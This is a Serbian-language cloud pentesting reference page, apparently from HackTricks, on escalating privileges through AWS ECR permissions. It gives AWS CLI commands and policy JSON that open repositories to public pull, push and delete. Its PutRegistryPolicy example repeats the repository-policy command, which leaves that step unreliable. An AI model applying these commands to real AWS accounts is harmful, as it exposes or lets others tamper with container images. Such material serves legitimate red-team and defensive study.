AWS - ECR Privesc

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Napadač sa ecr:GetAuthorizationToken i ecr:BatchGetImage može da se prijavi na ECR i preuzme slike.

Za više informacija o tome kako preuzeti slike:

AWS - ECR Post Exploitation

Potencijalni uticaj: Indirektno eskaliranje privilegija presretanjem osetljivih informacija u saobraćaju.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Napadač sa svim tim dozvolama može da se prijavi na ECR i otpremi slike. Ovo može biti korisno za eskalaciju privilegija u druge okruženja gde se te slike koriste.

Da biste saznali kako da otpremite novu sliku/izmenite jednu, proverite:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Kao u prethodnom odeljku, ali za javne repozitorijume.

ecr:SetRepositoryPolicy

Napadač sa ovom dozvolom može promeniti politiku repozitorijuma kako bi sebi (ili čak svima) dodelio pristup za čitanje/pisanje.
Na primer, u ovom primeru pristup za čitanje je dodeljen svima.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Sadržaj my-policy.json:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Kao u prethodnom odeljku, ali za javne repozitorijume.
Napadač može izmeniti politiku repozitorijuma javnog ECR repozitorijuma kako bi omogućio neovlašćen javni pristup ili da eskalira svoje privilegije.

bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potencijalni uticaj: Neovlašćen javni pristup ECR javnom repozitorijumu, što omogućava bilo kojem korisniku da postavlja, preuzima ili briše slike.

ecr:PutRegistryPolicy

Napadač sa ovom dozvolom mogao bi promeniti politiku registra kako bi sebi, svom nalogu (ili čak svima) dodelio pristup za čitanje/pisanje.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks